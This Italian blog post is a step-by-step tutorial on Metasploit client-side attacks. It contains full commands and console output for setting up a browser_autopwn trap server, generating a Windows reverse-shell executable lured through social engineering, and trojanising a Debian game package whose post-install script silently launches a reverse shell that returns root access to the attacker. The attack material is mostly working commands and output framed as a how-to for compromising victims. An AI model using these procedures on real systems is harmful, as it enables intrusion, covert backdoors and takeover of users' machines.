VoIP and Hacking

Insidie client-side con Metasploit

by admin on Jan.11, 2010, under Hacking, Linux, Sicurezza, Tools

Gli exploits di tipo Client-Side costituiscono attualmente una delle maggiori insidie sul fronte della sicurezza. Dato che gli amministratori di rete si concentrano maggiormente ad attuare fortificazioni perimetrali, i pentesters, proprio come il conte Dracula, hanno la necessità di trovare il modo che siano le stesse vittime ad aprire loro la porta. Gli exploits di tipo Client-Side necessitano infatti di una per quanto minima interazione con l’utente, nella quale quest’ultimo viene indotto a fare click su di un link, aprire un documento, visitare un certo sito web, ecc.

Web servers trappola

Lo si è gia incontrato a proposito di Karmetasploit, ma il modulo browser_autopwn può essere facilmente usato per allestire un server web stand-alone su rete cablata, che faccia da malevolo honeypot e catturi i malcapitati.

msf > use server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf auxiliary(browser_autopwn) > set uripath /
uripath => /
msf auxiliary(browser_autopwn) > db_create autopwn.db
[*] Creating a new database instance…
[*] Successfully connected to the database
[*] File: autopwn.db
msf auxiliary(browser_autopwn) > run
[*] Auxiliary module execution completed
msf auxiliary(browser_autopwn) >

[*] Starting exploit modules on host 192.168.1.10…
[*] —
[...]
msf auxiliary(browser_autopwn) >
[*] Request ‘/’ from 192.168.1.253:1052
[*] Request ‘/?sessid=V2luZG93czpYUDpTUDI6aXQ6eDg2Ok1TSUU6Ni4wO1NQMjo%3d’ from 192.168.1.253:1052
[*] JavaScript Report: Windows:XP:SP2:it:x86:MSIE:6.0;SP2:
[*] Responding with exploits
[*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 192.168.1.253:1052…
[*] Sending EXE payload to 192.168.1.253:1052…
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.1.10:3333 -> 192.168.1.253:1053)

È abbastanza evidente quanto sia capitato al malcapitato che si sia semplicemente avventurato a navigare su http://192.168.1.10:8080

Metasploit è molto dotato per effettuare attacchi client-side. Una delle sue abilità consiste nel generare un eseguibile a partire da un proprio payload.
Questo può risultare utile a seguito di pratiche di social engineering. Ottenendo che sia un utente a mandare in esecuzione il payload, non vi è alcun motivo di sforzarsi a violare alcun software vulnerabile.

Payloads binari

È possibile usare, da riga di comando, il tool msfpayload per generare payloads da utilizzarsi in molti contesti ed offre una gran varietà di opzioni di output, come ad esempio uno specifico formato eseguibile.

Possiamo ad esempio generare un eseguibile Windows di tipo reverse shell che si riconnetta a noi sulla porta 31337 (msfpayload opera come msfcli nel senso che si può appendere la lettera “O” al termine della stringa di comando, per vedere quali opzioni siano disponibili).

# cd /opt/metasploit3/msf3
# ./msfpayload windows/shell_reverse_tcp O

       Name: Windows Command Shell, Reverse TCP Inline
    Version: 7075
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902
  sf 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process
LHOST                      yes       The local address
LPORT     4444             yes       The local port

Description:
  Connect back to attacker and spawn a command shell


# ./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=31337 X >/tmp/mata_hary.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: LHOST=192.168.1.10,LPORT=31337
# file /tmp/mata_hari.exe
/tmp/mata_hari.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
# ls -l /tmp/mata_hari.exe
-rw-r--r-- 1 root root 37888 2010-01-11 12:31 /tmp/mata_hari.exe

Ora che abbiamo ottenuto il nostro eseguibile (e prima che qualcuno lo mandi in esecuzione), dovremo usare il modulo ‘multi/handler’, che serve a gestire gli exploits lanciati esternalmente al framework.

# ./msfconsole
[...]
msf > use exploit/multi/handler
msf exploit(handler) >

Quando si utilizza il modulo “exploit/multi/handler”, occorre ancora specificare quale sia il payload da attendersi e su quale porta attendere, per cui andranno impostate con gli stessi parametri dell’eseguibile precedentemente generato

msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp.
msf exploit(handler) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit
[*] Started reverse handler on port 31337


[*] Starting the payload handler…

vediamo cosa succede nel caso in cui una vittima mandi in esecuzione il file precedentemente generato.

[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.10:31337 -> 192.168.1.253:1049)


Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


C:Documents and SettingsugoDocumentiDownload>

Il modulo multi/handler ha gestito l’ exploit e ci presenta una shell.

Trojan Horse per Linux

Gli attacchi client side e i trojans non sono patrimonio esclusivo del mondo Windows, ed è pertanto possibile inserire un payload Metasploit in un package per Ubuntu per ottenere una shell su di un sistema Linux, dopo averlo attaccato.
Dobbiamo dapprima ottenere un package da infettare. Come esempio, useremo il package “freesweep”, un game testuale.

# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
[...]
The following NEW packages will be installed:
freesweep
0 upgraded, 1 newly installed, 0 to remove and 220 not upgraded.
Need to get 39.1kB of archives.
After this operation, 111kB of additional disk space will be used.
Get:1 http://ftp.it.debian.org lenny/main freesweep 0.90-2 [39.1kB]
Fetched 39.1kB in 0s (111kB/s)
Download complete and in download only mode

Una volta completato il download, dobbiamo estrarre il package in una directory di lavoro e crearvi una directory DEBIAN dove inserire le “features” supplementari.

# mkdir /tmp/thorse
# mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb /tmp/thorse
# cd /tmp/thorse
# dpkg -x freesweep_0.90-2_i386.deb work
# mkdir work/DEBIAN

Nella directory “DEBIAN”, dobbiamo creare un file di nome “control” col seguente contenuto:

# vi work/DEBIAN/control
Package: freesweep
Version: 0.90-2
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: An infected text-based minesweeper (for educational only).

Dobbiamo creare uno script “post-installation” che mandi in esecuzione il nostro binario.
Ne creeremo uno nelle directory “DEBIAN”, di nome “postinst” col contenuto seguente:

# vi work/DEBIAN/postinst
#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores &

Rendiamo quindi eseguibile il nostro script post-installation:

# chmod 755 postinst

Creiamo ora un payload di tipo reverse shell di nome “freesweep_scores” per ottenere indietro una connessione.

# msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.10 LPORT=443 X > /tmp/thorse/work/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.1.10,LPORT=443

ed allestiamo infine il nuovo package. Il file risultante si chiamerà “work.deb”, cosicché potrebbe essere opportuno cambiarne il nome in “freesweep.deb” e spostarlo nella root del nostro web server:

# dpkg-deb --build /tmp/thorse/work
dpkg-deb: building package 'freesweep.' in '/tmp/thorse/work.deb'.
# mv /tmp/thorse/work.deb /var/www/freesweep.deb

Se già non lo fosse, dobbiamo avviare il nostro Apache web server.

# /etc/init.d/apache2 start

e impostare il modulo multi/handler di Metasploit in modo da ricevere la connessione in ingresso.

# msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.10 LPORT=443 E
[*] Please wait while we load the module tree…
[*] Starting the payload handler…
[*] Started reverse handler on port 443

Nel momento in cui la vittima dovesse installare il game dopo averlo scaricato, noi riceveremmo una shell

[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.1.10:443 -> 192.168.1.20:54359)

hostname
blacksurfer
id
uid=0(root) gid=0(root) groups=0(root)

Send post as PDF to PDF | PDF Creator | PDF Converter
:, , , , , ,

Comments are closed.

Cerchi qualcosa in particolare?

Usa il form qui sotto per cercare nel sito:

Blogroll!

Alcuni links...

Archives

Tutte le entries, in ordine cronologio...